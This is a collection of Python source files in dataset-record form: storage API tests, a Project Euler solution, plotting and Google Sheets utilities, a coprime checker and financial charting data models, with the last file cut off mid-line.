os.path.join(d[\"project_id\"], d[\"node_id\"]) == uuid_filter\n\n\nasync def test_s3_file_metadata(client, dsm_mockup_db):\n # go through all files and get them\n for d in dsm_mockup_db.keys():\n fmd = dsm_mockup_db[d]\n resp = await client.get(\n \"/v0/locations/0/files/{}/metadata?user_id={}\".format(\n quote(fmd.file_uuid, safe=\"\"), fmd.user_id\n )\n )\n payload = await resp.json()\n assert resp.status == 200, str(payload)\n\n data, error = tuple(payload.get(k) for k in (\"data\", \"error\"))\n assert not error\n assert data\n\n\nasync def test_download_link(client, dsm_mockup_db):\n for d in dsm_mockup_db.keys():\n fmd = dsm_mockup_db[d]\n resp = await client.get(\n \"/v0/locations/0/files/{}?user_id={}\".format(\n quote(fmd.file_uuid, safe=\"\"), fmd.user_id\n )\n )\n payload = await resp.json()\n assert resp.status == 200, str(payload)\n\n data, error = tuple(payload.get(k) for k in (\"data\", \"error\"))\n assert not error\n assert data\n\n\nasync def test_upload_link(client, dsm_mockup_db):\n for d in dsm_mockup_db.keys():\n fmd = dsm_mockup_db[d]\n resp = await client.put(\n \"/v0/locations/0/files/{}?user_id={}\".format(\n quote(fmd.file_uuid, safe=\"\"), fmd.user_id\n )\n )\n payload = await resp.json()\n assert resp.status == 200, str(payload)\n\n data, error = tuple(payload.get(k) for k in (\"data\", \"error\"))\n assert not error\n assert data\n\n\nasync def test_copy(client, dsm_mockup_db, datcore_structured_testbucket):\n if not has_datcore_tokens():\n return\n # copy N files\n N = 2\n counter = 0\n for d in dsm_mockup_db.keys():\n fmd = dsm_mockup_db[d]\n source_uuid = fmd.file_uuid\n datcore_id = datcore_structured_testbucket[\"coll1_id\"]\n resp = await client.put(\n \"/v0/locations/1/files/{}?user_id={}&extra_location={}&extra_source={}\".format(\n quote(datcore_id, safe=\"\"),\n fmd.user_id,\n SIMCORE_S3_ID,\n quote(source_uuid, safe=\"\"),\n )\n )\n payload = await resp.json()\n assert resp.status == 200, str(payload)\n\n data, error = tuple(payload.get(k) for k in (\"data\", \"error\"))\n assert not error\n assert data\n\n counter = counter + 1\n if counter == N:\n break\n\n # list files for every user\n user_id = USER_ID\n resp = await client.get(\n \"/v0/locations/1/files/metadata?user_id={}&uuid_filter={}\".format(\n user_id, BUCKET_NAME\n )\n )\n payload = await resp.json()\n assert resp.status == 200, str(payload)\n\n data, error = tuple(payload.get(k) for k in (\"data\", \"error\"))\n assert not error\n assert len(data) > N\n\n\nasync def test_delete_file(client, dsm_mockup_db):\n id_file_count, _id_name_map = parse_db(dsm_mockup_db)\n\n for d in dsm_mockup_db.keys():\n fmd = dsm_mockup_db[d]\n resp = await client.delete(\n \"/v0/locations/0/files/{}?user_id={}\".format(\n quote(fmd.file_uuid, safe=\"\"), fmd.user_id\n )\n )\n payload = await resp.json()\n assert resp.status == 200, str(payload)\n\n data, error = tuple(payload.get(k) for k in (\"data\", \"error\"))\n assert not error\n assert not data\n\n for _id in id_file_count:\n resp = await client.get(\"/v0/locations/0/files/metadata?user_id={}\".format(_id))\n payload = await resp.json()\n assert resp.status == 200, str(payload)\n\n data, error = tuple(payload.get(k) for k in (\"data\", \"error\"))\n assert not error\n assert len(data) == 0\n\n\nasync def test_action_check(client):\n QUERY = \"mguidon\"\n ACTION = \"echo\"\n FAKE = {\"path_value\": \"one\", \"query_value\": \"two\", \"body_value\": {\"a\": 33, \"b\": 45}}\n\n resp = await client.post(f\"/v0/check/{ACTION}?data={QUERY}\", json=FAKE)\n payload = await resp.json()\n data, error = tuple(payload.get(k) for k in (\"data\", \"error\"))\n\n assert resp.status == 200, str(payload)\n assert data\n assert not error\n\n # TODO: validate response against specs\n\n assert data[\"path_value\"] == ACTION\n assert data[\"query_value\"] == QUERY\n\n\ndef get_project_with_data():\n projects = []\n with open(current_dir / \"data/projects_with_data.json\") as fp:\n projects = json.load(fp)\n\n # TODO: add schema validation\n return projects\n\n\n@pytest.mark.parametrize(\n \"project_name,project\", [(prj[\"name\"], prj) for prj in get_project_with_data()]\n)\nasync def test_create_and_delete_folders_from_project(\n client, dsm_mockup_db, project_name, project, mocker\n):\n source_project = project\n destination_project, nodes_map = clone_project_data(source_project)\n\n dsm = client.app[APP_DSM_KEY]\n mock_dsm = mocker.patch.object(dsm, \"copy_file_datcore_s3\")\n mock_dsm.return_value = Future()\n mock_dsm.return_value.set_result(\"Howdie\")\n\n # CREATING\n url = (\n client.app.router[\"copy_folders_from_project\"].url_for().with_query(user_id=\"1\")\n )\n resp = await client.post(\n url,\n json={\n \"source\": source_project,\n \"destination\": destination_project,\n \"nodes_map\": nodes_map,\n },\n )\n\n data, _error = await assert_status(resp, expected_cls=web.HTTPCreated)\n\n # data should be equal to the destination project, and all store entries should point to simcore.s3\n for key in data:\n if key != \"workbench\":\n assert data[key] == destination_project[key]\n else:\n for _node_id, node in data[key].items():\n if \"outputs\" in node:\n for _o_id, o in node[\"outputs\"].items():\n if \"store\" in o:\n assert o[\"store\"] == SIMCORE_S3_ID\n\n # DELETING\n project_id = data[\"uuid\"]\n url = (\n client.app.router[\"delete_folders_of_project\"]\n .url_for(folder_id=project_id)\n .with_query(user_id=\"1\")\n )\n resp = await client.delete(url)\n\n await assert_status(resp, expected_cls=web.HTTPNoContent)\n\n\nasync def test_s3_datasets_metadata(client):\n url = (\n client.app.router[\"get_datasets_metadata\"]\n .url_for(location_id=str(SIMCORE_S3_ID))\n .with_query(user_id=\"21\")\n )\n resp = await client.get(url)\n payload = await resp.json()\n assert resp.status == 200, str(payload)\n data, error = tuple(payload.get(k) for k in (\"data\", \"error\"))\n assert not error\n\n\nasync def test_s3_files_datasets_metadata(client):\n url = (\n client.app.router[\"get_files_metadata_dataset\"]\n .url_for(location_id=str(SIMCORE_S3_ID), dataset_id=\"aa\")\n .with_query(user_id=\"21\")\n )\n resp = await client.get(url)\n payload = await resp.json()\n assert resp.status == 200, str(payload)\n data, error = tuple(payload.get(k) for k in (\"data\", \"error\"))\n assert not error\n","sub_path":"services/storage/tests/test_rest.py","file_name":"test_rest.py","file_ext":"py","file_size_in_byte":11233,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"314718493","text":"# It can be seen that the number, 125874, and its double, 251748, contain exactly the\n# same digits, but in a different order.\n#\n# Find the smallest positive integer, x, such that 2x, 3x, 4x, 5x, and 6x, contain\n# the same digits.\nimport lib.euler as euler\n\nRESULT = 142857\n\ndef p52():\n i = 99999\n while True:\n if euler.sameDigitMultiples(i):\n return i\n i += 9\n","sub_path":"project-euler/050-100/p52.py","file_name":"p52.py","file_ext":"py","file_size_in_byte":392,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"562700320","text":"import os\nimport glob\nimport lightning\nfrom lightning.pytorch.utilities.types import STEP_OUTPUT\nfrom lightning.pytorch.plugins import HPUPrecisionPlugin\nfrom typing import Any, Optional\n\n__PTL_VER__ = lightning.__version__\n\n\nclass HPUHMPlugin(HPUPrecisionPlugin):\n\n def __init__(self, verbosity: bool = False, level: str = \"O1\", model_name: Optional[str]=None, precision=16):\n currentpath = os.path.dirname(os.path.realpath(__file__))\n dirlist16 = glob.glob(f'{currentpath}/ops_bf16*.txt')\n dirlist32 = glob.glob(f'{currentpath}/ops_fp32*.txt')\n if model_name:\n op_file_16 = [fn for fn in dirlist16 if model_name in fn ]\n op_file_32 = [fn for fn in dirlist32 if model_name in fn ]\n assert(op_file_16 and op_file_32),\\\n f\"Model '{model_name}' hmp files are not found.\"\n\n hmp_params = { \"precision\": precision,\n \"opt_level\": level,\n \"bf16_file_path\": op_file_16[0] if model_name else \"\",\n \"fp32_file_path\": op_file_32[0] if model_name else \"\",\n \"verbose\": verbosity\n }\n super(HPUHMPlugin, self).__init__(**hmp_params)\n","sub_path":"PyTorch/audio/hubert/habana_hmp.py","file_name":"habana_hmp.py","file_ext":"py","file_size_in_byte":1205,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"561013451","text":"\"\"\"\nCUSTOM ML FUNCTIONS THAT HAVE THE FOLLOWING METHODS:\n .fit() Will be applied to scaled data \n .predict(): returns a probability score using the scaling parameters\n .feature_importance() returns some score method\n\n\"\"\"\n\nimport numpy as np\n\ndef _scaler(X,normalize):\n if normalize==True:\n mu_X = X.mean(axis=0).reshape([1,X.shape[1]])\n se_X = X.std(axis=0).reshape([1,X.shape[1]])\n else:\n mu_X = np.repeat(0,X.shape[1]).reshape([1,X.shape[1]])\n se_X = np.repeat(1,X.shape[1]).reshape([1,X.shape[1]])\n return(mu_X, se_X) \n\nclass logistic_lasso():\n # Initialize base parameters\n def __init__(self, fit_intercept=True,normalize=True):\n self.fit_intercept = fit_intercept\n self.normalize = normalize\n self.bhat = None\n self.intercept = 0\n \n def fit(self,X,y,lam):\n self.mu_X, self.se_X = _scaler(X,self.normalize)\n if self.normalize:\n X = ( X.copy() - self.mu_X ) / self.se_X\n if self.fit_intercept:\n X = np.c_[np.ones(X.shape[0]), X]\n lhs = np.linalg.inv(X.T.dot(X))\n rhs = X.T.dot(y)\n bhat = lhs.dot(rhs)\n if self.fit_intercept:\n self.intercept = bhat[0]\n self.bhat = bhat[1:]\n else:\n self.bhat = bhat\n \n def predict(self, Xnew):\n eta = Xnew.dot(self.bhat).flatten() + self.intercept\n return(eta)\n \n def params(self):\n dd = {'fit_intercept':self.fit_intercept,\n 'normalize':self.normalize,\n 'coef': self.bhat}\n return(dd)","sub_path":"Modelling/ml_algs/logistic_lasso.py","file_name":"logistic_lasso.py","file_ext":"py","file_size_in_byte":1644,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"36540746","text":"# ----------------------------------------------------------------------------\n#\n# TITLE - plot.py\n# AUTHOR - James Lane\n# PROJECT - OHStars\n# CONTENTS:\n# 1. staircase_plot\n#\n# ----------------------------------------------------------------------------\n\n### Docstrings and metadata:\n'''\nPlotting utilities\n'''\n__author__ = \"James Lane\"\n\n### Imports\n\n## Basic\nimport numpy as np\nimport sys, os, pdb\n\n## Plotting\nfrom matplotlib import pyplot as plt\nfrom matplotlib import colors\nfrom matplotlib import cm\n\n## Scipy\nfrom scipy import stats\n\n# ----------------------------------------------------------------------------\n\n# Staircase plotting function\ndef staircase_plot(data,\n data_labels,\n fig = None,\n ax = None):\n '''\n staircase_plot:\n \n Take in N variables in M samples and plot their correlations.\n \n Args:\n data (mxn array) - The input data. The first axis should be the sample \n number and the second axis should be the variable\n data_labels (length n array) - The variable labels\n fig (matplotlib figure) - The input figure to plot on. If None then make \n one [None].\n ax (matplotlib axis) - The input axis to plot on. If None then make one \n [None].\n \n Returns:\n fig, ax (matplotlib figure and axis object) - The matplotlib figure and \n axis objects.\n '''\n \n # Figure out the number of variables\n n_var = len( data[0,:] )\n \n # Check if the figure was provided\n if fig == None:\n fig = plt.figure( figsize=( int(n_var+4), int(n_var+4) ) )\n ##fi\n if ax == None:\n axs = fig.subplots( nrows=n_var, ncols=n_var )\n ##fi\n \n # Double loop over the number of variables\n for i in range(n_var): # Indexes along columns (down)\n for j in range(n_var): # Indexes along rows (across)\n \n # Maxima and minima\n xmin = np.min(data[:,j])\n xmax = np.max(data[:,j])\n ymin = np.min(data[:,i])\n ymax = np.max(data[:,i])\n \n # If this is an upper-right plot its a duplicate, remove it\n if j > i:\n axs[i,j].set_axis_off()\n continue\n \n # If the two indices are equal just make a histogram of the data\n if j == i: \n \n # Make and plot the kernel\n kernel = stats.gaussian_kde( data[:,i] )\n kernel_grid = np.linspace( np.min(data[:,i]), np.max(data[:,i]), 1000 )\n kernel_evaluate = kernel.evaluate( kernel_grid )\n axs[i,j].plot( kernel_grid, kernel_evaluate, color='Black' )\n \n # Decorate\n axs[i,j].set_xlim( np.min(data[:,i]), np.max(data[:,i]) )\n axs[i,j].tick_params(labelleft='off', labelright='on')\n axs[i,j].set_ylabel('KDE')\n axs[i,j].yaxis.set_label_position('right')\n \n # If the two indices are not equal make a scatter plot\n if j < i:\n # axs[i,j].scatter( data[:,j], data[:,i], s=4, color='Black', \n # alpha=0.3 )\n \n xx, yy = np.mgrid[ xmin:xmax:100j, ymin:ymax:100j ]\n positions = np.vstack([ xx.ravel(), yy.ravel() ])\n values = np.vstack([ data[:,j], data[:,i] ])\n kernel = stats.gaussian_kde( values )\n kernel_evaluate = np.reshape( kernel(positions).T, xx.shape )\n \n cfset = axs[i,j].contourf(xx, yy, kernel_evaluate, cmap='Blues')\n cset = axs[i,j].contour(xx, yy, kernel_evaluate, colors='Black')\n \n axs[i,j].set_xlim( xmin, xmax)\n axs[i,j].set_ylim( ymin, ymax)\n \n \n # Make X axis\n if i == n_var-1:\n axs[i,j].set_xlabel( data_labels[j] )\n else:\n axs[i,j].tick_params(labelbottom='off') \n \n # Make Y axis \n if j == 0 and i!=0:\n axs[i,j].set_ylabel( data_labels[i] )\n else:\n axs[i,j].tick_params(labelleft='off') \n \n return fig, axs \n#def\n\n# ----------------------------------------------------------------------------\n","sub_path":"src/ohstars/plot.py","file_name":"plot.py","file_ext":"py","file_size_in_byte":4419,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"266583970","text":"from apiclient.discovery import build\nfrom apiclient.http import MediaFileUpload\nfrom oauth2client import file, client, tools\nfrom oauth2client.service_account import ServiceAccountCredentials\nimport gspread\n\nfrom ffs.keys import GOOGLE_SPREADSHEET_ID\nfrom ffs.api_wait import api_wait\n\n\nSCOPES = 'https://www.googleapis.com/auth/spreadsheets https://www.googleapis.com/auth/drive' # read / edit sheet permissions\nDRIVE_SCOPES = 'https://www.googleapis.com/auth/drive'\nDATA_SHEET = 'DATA'\nSTAT_DATA_RANGE = 'A4:AE10' # Stat values\nUSER_DATA_RANGE = 'A4:C10' # Info about users\nHEADER_OFFSET = 3 # Number of rows in header\n\n\nclass GoogleClient:\n\n def __init__(self):\n\n creds = ServiceAccountCredentials.from_json_keyfile_name(\"service.json\", scopes=SCOPES)\n\n self.service = build(\"drive\", \"v3\", credentials=creds)\n\n self.gc = gspread.authorize(creds)\n self.book = self.gc.open_by_key(GOOGLE_SPREADSHEET_ID)\n self.sheet = self.book.worksheet(DATA_SHEET)\n\n @api_wait\n def get_user_metadata(self):\n cell_list = self.sheet.range(USER_DATA_RANGE)\n return gspread.utils.cell_list_to_rect(cell_list)\n\n @api_wait\n def write_user_stats(self, user_list):\n\n modes = [None, \"solo\", \"duo\", \"squad\"]\n values = []\n for user in user_list:\n row = [user.name(), user.username(), user.platform()]\n for mode in modes:\n row.append(user.stats().season().wins(mode))\n row.append(user.stats().season().kd(mode))\n row.append(user.stats().season().win_percent(mode))\n row.append(user.stats().best_kill_game(mode))\n row.append(user.stats().lifetime().wins(mode))\n row.append(user.stats().lifetime().kd(mode))\n row.append(user.stats().lifetime().win_percent(mode))\n values.append(row)\n\n cell_list = self.sheet.range(STAT_DATA_RANGE)\n for i in range(len(values)):\n for j in range(len(values[i])):\n cell, = [cell for cell in cell_list if cell.row == i+1+HEADER_OFFSET and cell.col == j+1]\n cell.value = values[i][j]\n self.sheet.update_cells(cell_list)\n\n def write_file(self, filename):\n metadata = {\"name\": filename}\n self.service.files().create(body=metadata, media_body=filename).execute()\n\n def update_file(self, file_id, file_path):\n\n media_body = MediaFileUpload(file_path)\n self.service.files().update(fileId=file_id,\n media_body=media_body).execute()\n\n\n\n\n\n","sub_path":"ffs/google.py","file_name":"google.py","file_ext":"py","file_size_in_byte":2610,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"557671026","text":"import csv\n\nwith open('faculty.csv') as csv_file:\n csv_reader = csv.reader(csv_file, delimiter=\",\")\n next(csv_reader)\n \n emaillist = []\n for row in csv_reader:\n emaillist.append(row[3])\n\ncsvemailfile = 'emails.csv'\n\nwith open(csvemailfile, 'w') as output:\n writer = csv.writer(output, lineterminator='\\n')\n for val in emaillist:\n writer.writerow([val])\n","sub_path":"python/advanced_python_csv.py","file_name":"advanced_python_csv.py","file_ext":"py","file_size_in_byte":388,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"513370207","text":"#!/usr/bin/env pypy3\n# N,M = map(int,sys.stdin.readline().split())\n# a = tuple(map(int,sys.stdin.readline().split())) # single line with multi param\n# a = tuple(int(sys.stdin.readline()) for _ in range(N)) # multi line with single param\n# a = tuple(tuple(map(int,sys.stdin.readline().rstrip().split())) for _ in range(N)) # multi line with multi param\n# s = sys.stdin.readline().rstrip()\n# N = int(sys.stdin.readline())\n# INF = float(\"inf\")\nimport math\n\npc = True\nn = int(input())\na = list(map(int,input().split()))\ng = math.gcd(a[0],a[1])\nfor i in range(2,n):\n g = math.gcd(g,a[i])\nM = max(a)\n\nLIMIT=max(a)\nminPrime = [0]*(LIMIT+1)\nminPrime[1] = 1\ndef make():\n for i in range(2,LIMIT+1):\n if minPrime[i] == 0:\n minPrime[i] = i\n #print(i)\n for j in range(i+i,LIMIT+1,i):\n #print(i,j)\n if minPrime[j] == 0:\n minPrime[j] = i\nmake()\ndef factrial(N):\n ret = []\n while minPrime[N] != N:\n ret.append(minPrime[N])\n N = N//minPrime[N]\n if N != 1:\n ret.append(N)\n return ret\n# def factrial(N):\n# ret = set()\n# while 1 != N:\n# ret.add(minPrime[N])\n# N = N//minPrime[N]\n# if N != 1:\n# ret.add(N)\n# return ret\n\n#sofe = Sieve_of_Eratosthenes(M)\njudge = set([])\n\nfor i in a:\n if not pc:\n break\n #asf = sofe.factorization(i)\n asf = set(factrial(i))\n\n if judge & asf != set():\n pc = False\n judge |= asf\nif pc:\n print(\"pairwise coprime\")\nelif g == 1:\n print(\"setwise coprime\")\nelse:\n print(\"not coprime\")\n# import sys,collections\n\n# N = int(sys.stdin.readline())\n# #a = tuple(map(int,sys.stdin.readline().split())) # single line with multi param\n# a = list(map(int,input().split()))\n\n# import math\n\n# # def factrial(N):\n# # ret = []\n# # while minPrime[N] != N:\n# # ret.append(minPrime[N])\n# # N = N//minPrime[N]\n# # if N != 1:\n# # ret.append(N)\n# # return ret\n\n# def factrial(N):\n# ret = set()\n# while 1 != N:\n# ret.add(minPrime[N])\n# N = N//minPrime[N]\n# if N != 1:\n# ret.add(N)\n# return ret\n\n# for i in range(N):\n# acc = math.gcd(acc,a[i])\n# if acc != 1:\n# print(\"not coprime\")\n# exit()\n\n# pairwise = True\n# p = set() #all prime\n# for e in a:\n# if not pairwise:\n# break\n# f = factrial(e)\n# if p & f != set():\n# pairwise = False\n# print(\"setwise coprime\")\n# exit(0)\n# p = p | f\n\n# if pairwise:\n# print(\"pairwise coprime\")\n# else:\n# print(\"setwise coprime\")\n","sub_path":"Python_codes/p02574/s607655940.py","file_name":"s607655940.py","file_ext":"py","file_size_in_byte":2602,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"200876815","text":"from datetime import datetime\n\nfrom bson.json_util import dumps\n\nfrom iquant.mongodb.doc_base import DocBase\nfrom iquant.mongodb.wind_models import Kline\n\n\nclass ChanKline(DocBase):\n def __init__(self, document=None, index=None, chan_index=None, datetime=None, cycType=None, cycDef=None,\n windCode=None, kline=None, inclusive=None, direction=None, shaped_high=None, shaped_low=None,\n has_gap=None, chankline_flag=None, trend_owner_dict=None):\n \"\"\"\n :type document: dict\n :type index: int\n :type chan_index: int\n :type datetime: datetime\n :type cycType: int\n :type cycDef: int\n :type windCode: str\n :type kline: Kline\n :type inclusive: int\n :type direction: int\n :type shaped_high: float\n :type shaped_low: float\n :type has_gap: bool\n :type chankline_flag: int\n :type trend_owner_dict: dict\n \"\"\"\n if document is not None:\n DocBase.__init__(self, document)\n else:\n DocBase.__init__(self)\n self.index = index\n self.chan_index = chan_index\n self.datetime = datetime\n self.cycType = cycType\n self.cycDef = cycDef\n self.windCode = windCode\n self.kline = kline\n self.inclusive = inclusive\n \"\"\"\n - Non Inclusive: 0\n - Up Inclusive: 1\n - Down Inclusive: -1\n \"\"\"\n self.direction = direction\n \"\"\"\n - Up: 1\n - Down: -1\n \"\"\"\n self.shaped_high = shaped_high\n self.shaped_low = shaped_low\n self.has_gap = has_gap\n self.chankline_flag = chankline_flag\n self.trend_owner_dict = trend_owner_dict\n self.document = self.to_document()\n\n def to_document(self):\n document = {\"_id\": self._id,\n \"index\": self.index,\n \"chan_index\": self.chan_index,\n \"datetime\": self.datetime,\n \"cycType\": self.cycType,\n \"cycDef\": self.cycDef,\n \"windCode\": self.windCode,\n \"kline\": self.kline,\n \"inclusive\": self.inclusive,\n \"direction\": self.direction,\n \"shaped_high\": self.shaped_high,\n \"shaped_low\": self.shaped_low,\n \"has_gap\": self.has_gap,\n \"chankline_flag\": self.chankline_flag,\n \"trend_owner_dict\": self.trend_owner_dict}\n return document\n\n def to_string(self):\n return self.date.strftime(\"%Y-%m-%d %H:%M:%S.%fZ%Z\") + \"\\n\" + dumps(self.document, indent=4, sort_keys=True)\n\n\nclass Fractal(DocBase):\n def __init__(self, document=None, index=None, cycType=None, cycDef=None, windCode=None, fractal_flag=None,\n chan_kline_index_list=None, eigen_chan_kline_index=None, fractal_interval=None):\n \"\"\"\n :type document: dict\n :type index: int\n :type cycType: int\n :type cycDef: int\n :type windCode: str\n :type fractal_flag: int\n :type chan_kline_index_list: list[int]\n :type eigen_chan_kline_index: int\n :type fractal_interval: float\n \"\"\"\n if document is not None:\n DocBase.__init__(self, document)\n else:\n DocBase.__init__(self)\n self.index = index\n self.cycType = cycType\n self.cycDef = cycDef\n self.windCode = windCode\n self.fractal_flag = fractal_flag\n self.chan_kline_index_list = chan_kline_index_list\n self.eigen_chan_kline_index = eigen_chan_kline_index\n self.fractal_interval = fractal_interval\n self.document = self.to_document()\n\n def to_document(self):\n document = {\"_id\": self._id,\n \"index\": self.index,\n \"cycType\": self.cycType,\n \"cycDef\": self.cycDef,\n \"windCode\": self.windCode,\n \"fractal_flag\": self.fractal_flag,\n \"chan_kline_index_list\": self.chan_kline_index_list,\n \"eigen_chan_kline_index\": self.eigen_chan_kline_index,\n \"fractal_interval\": self.fractal_interval}\n return document\n\n def to_string(self):\n return dumps(self.document, indent=4, sort_keys=True)\n\n\nclass Trend(DocBase):\n def __init__(self, document=None, index=None, cycType=None, cycDef=None, windCode=None, level=None, type=None,\n direction=None, flag=None, inclusive=None, high=None, low=None, shaped_high=None, shaped_low=None,\n has_gap=None, left_subtrend_index=None, eigen_subtrend_index=None, right_subtrend_index=None,\n chankline_index_list=None, fractal_index_list=None, subtrend_index_dict=None, centre_index_dict=None):\n \"\"\"\n :type document: dict\n :type index: int\n :type cycType: int\n :type cycDef: int\n :type windCode: str\n :type level: str\n :type type: int\n :type direction: int\n :type flag: int\n :type inclusive: int\n :type high: float\n :type low: float\n :type shaped_high: float\n :type shaped_low: float\n :type has_gap: bool\n :type left_subtrend_index: int\n :type eigen_subtrend_index: int\n :type right_subtrend_index: int\n :type chankline_index_list: list[int]\n :type fractal_index_list: list[int]\n :type subtrend_index_dict: dict\n :type centre_index_dict: dict\n \"\"\"\n if document is not None:\n DocBase.__init__(self, document)\n else:\n DocBase.__init__(self)\n self.index = index\n self.cycType = cycType\n self.cycDef = cycDef\n self.windCode = windCode\n self.level = level\n self.type = type\n \"\"\"\n - TREND_TYPE_1_1 = 1\n - TREND_TYPE_1_2 = 2\n - TREND_TYPE_1_3 = 3\n - TREND_TYPE_2_1_front = 4\n - TREND_TYPE_2_1_back = 5\n - TREND_TYPE_2_2_front = 6\n - TREND_TYPE_2_2_back = 7\n - TREND_TYPE_2_3 = 8\n - TREND_TYPE_2_4 = 9\n \"\"\"\n self.direction = direction\n \"\"\"\n - Up: 1\n - Down: -1\n \"\"\"\n self.flag = flag\n self.inclusive = inclusive\n \"\"\"\n - Non Inclusive: 0\n - Up Inclusive: 1\n - Down Inclusive: -1\n - Up Reverse Inclusive: 2\n - Down Reverse Inclusive: -2\n \"\"\"\n self.high = high\n self.low = low\n self.shaped_high = shaped_high\n self.shaped_low = shaped_low\n self.has_gap = has_gap\n self.left_subtrend_index = left_subtrend_index\n self.eigen_subtrend_index = eigen_subtrend_index\n self.right_subtrend_index = right_subtrend_index\n self.chankline_index_list = chankline_index_list\n self.fractal_index_list = fractal_index_list\n self.subtrend_index_dict = subtrend_index_dict\n self.centre_index_dict = centre_index_dict\n self.document = self.to_document()\n\n def to_document(self):\n document = {\"_id\": self._id,\n \"index\": self.index,\n \"cycType\": self.cycType,\n \"cycDef\": self.cycDef,\n \"windCode\": self.windCode,\n \"level\": self.level,\n \"type\": self.type,\n \"direction\": self.direction,\n \"flag\": self.flag,\n \"inclusive\": self.inclusive,\n \"high\": self.high,\n \"low\": self.low,\n \"shaped_high\": self.shaped_high,\n \"shaped_low\": self.shaped_low,\n \"has_gap\": self.has_gap,\n \"left_subtrend_index\": self.left_subtrend_index,\n \"eigen_subtrend_index\": self.eigen_subtrend_index,\n \"right_subtrend_index\": self.right_subtrend_index,\n \"chankline_index_list\": self.chankline_index_list,\n \"fractal_index_list\": self.fractal_index_list,\n \"subtrend_index_dict\": self.subtrend_index_dict,\n \"centre_index_dict\": self.centre_index_dict}\n return document\n\n def to_string(self):\n return dumps(self.document, indent=4, sort_keys=True)\n\n\nclass Bi(Trend):\n def __init__(self, document=None, index=None, cycType=None, cycDef=None, windCode=None, level=None, type=None,\n direction=None, flag=None, inclusive=None, high=None, low=None, shaped_high=None, shaped_low=None,\n has_gap=None, left_subtrend_index=None, eigen_subtrend_index=None, right_subtrend_index=None,\n chankline_index_list=None, fractal_index_list=None, subtrend_index_dict=None, centre_index_dict=None,\n bi_type=None):\n \"\"\"\n :type document: dict\n :type index: int\n :type cycType: int\n :type cycDef: int\n :type windCode: str\n :type level: str\n :type type: int\n :type direction: int\n :type flag: int\n :type inclusive: int\n :type high: float\n :type low: float\n :type shaped_high: float\n :type shaped_low: float\n :type has_gap: bool\n :type left_subtrend_index: int\n :type eigen_subtrend_index: int\n :type right_subtrend_index: int\n :type chankline_index_list: list[int]\n :type fractal_index_list: list[int]\n :type subtrend_index_dict: dict\n :type centre_index_dict: dict\n :type bi_type: int\n \"\"\"\n if document is not None:\n DocBase.__init__(self, document)\n else:\n self.bi_type = bi_type\n \"\"\"\n - Strict Bi: 1\n - New Bi: 2\n - Gap Bi: 3\n - Big Gap Bi Left: 4\n - Big Gap Bi Right: 5\n \"\"\"\n Trend.__init__(index=index,\n cycType=cycType,\n cycDef=cycDef,\n windCode=windCode,\n level=level,\n type=type,\n direction=direction,\n flag=flag,\n inclusive=inclusive,\n high=high,\n low=low,\n shaped_high=shaped_high,\n shaped_low=shaped_low,\n has_gap=has_gap,\n left_subtrend_index=left_subtrend_index,\n eigen_subtrend_index=eigen_subtrend_index,\n right_subtrend_index=right_subtrend_index,\n chankline_index_list=chankline_index_list,\n fractal_index_list=fractal_index_list,\n subtrend_index_dict=subtrend_index_dict,\n centre_index_dict=centre_index_dict)\n self.document[\"bi_type\"] = bi_type\n\n def to_document(self):\n document = Trend.to_document()\n document[\"bi_type\"] = self.bi_type\n return document\n\n\nclass Centre(DocBase):\n def __init__(self, document=None, index=None, cycType=None, cycDef=None, windCode=None, level=None, type=None,\n direction=None, zg_index=None, zd_index=None, gg_index=None, dd_index=None, zn_index_list=None,\n owner_trend_index=None, zg=None, zd=None, gg=None, dd=None, start_time=None, end_time=None,\n trend_num=None):\n \"\"\"\n :type document: dict\n :type index: int\n :type cycType: int\n :type cycDef: int\n :type windCode: str\n :type level: str\n :type type: int\n :type direction: int\n :type zg_index: int\n :type zd_index: int\n :type gg_index: int\n :type dd_index: int\n :type zn_index_list: list[int]\n :type owner_trend_index: int\n :type zg: float\n :type zd:float\n :type gg: float\n :type dd: float\n :type start_time: datetime\n :type end_time: datetime\n :type trend_num: int\n \"\"\"\n if document is not None:\n DocBase.__init__(self, document)\n else:\n DocBase.__init__(self)\n self.index = index\n self.cycType = cycType\n self.cycDef = cycDef\n self.windCode = windCode\n self.level = level\n self.type = type\n \"\"\"\n - CENTRE_TYPE_STANDARD: 0\n - CENTRE_TYPE_SIMILAR: 1\n - CENTRE_TYPE_FAKE: 2\n \"\"\"\n self.direction = direction\n self.zg_index = zg_index\n self.zd_index = zd_index\n self.gg_index = gg_index\n self.dd_index = dd_index\n self.zn_index_list = zn_index_list\n self.owner_trend_index = owner_trend_index\n self.zg = zg\n self.zd = zd\n self.gg = gg\n self.dd = dd\n self.start_time = start_time\n self.end_time = end_time\n self.trend_num = trend_num\n self.document = self.to_document()\n\n def to_document(self):\n document = {\"_id\": self._id,\n \"index\": self.index,\n \"cycType\": self.cycType,\n \"cycDef\": self.cycDef,\n \"windCode\": self.windCode,\n \"level\": self.level,\n \"type\": self.type,\n \"direction\": self.direction,\n \"zg_index\": self.zg_index,\n \"zd_index\": self.zd_index,\n \"gg_index\": self.gg_index,\n \"dd_index\": self.dd_index,\n \"zn_index_list\": self.zn_index_list,\n \"owner_trend_index\": self.owner_trend_index,\n \"zg\": self.zg,\n \"zd\": self.zd,\n \"gg\": self.gg,\n \"dd\": self.dd,\n \"start_time\": self.start_time,\n \"end_time\": self.end_time,\n \"trend_num\": self.trend_num}\n return document\n\n def to_string(self):\n return dumps(self.document, indent=4, sort_keys=True)\n","sub_path":"iquant/mongodb/chan_models.py","file_name":"chan_models.py","file_ext":"py","file_size_in_byte":14604,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"533556388","text":"from django.conf.urls import url\n\nfrom shopcart.views import CartView, add_cart, minus_cart, del_cart\n\nurlpatterns = [\n url('^cart/$', CartView.as_view(), name='购物车'),\n url('^add/$', 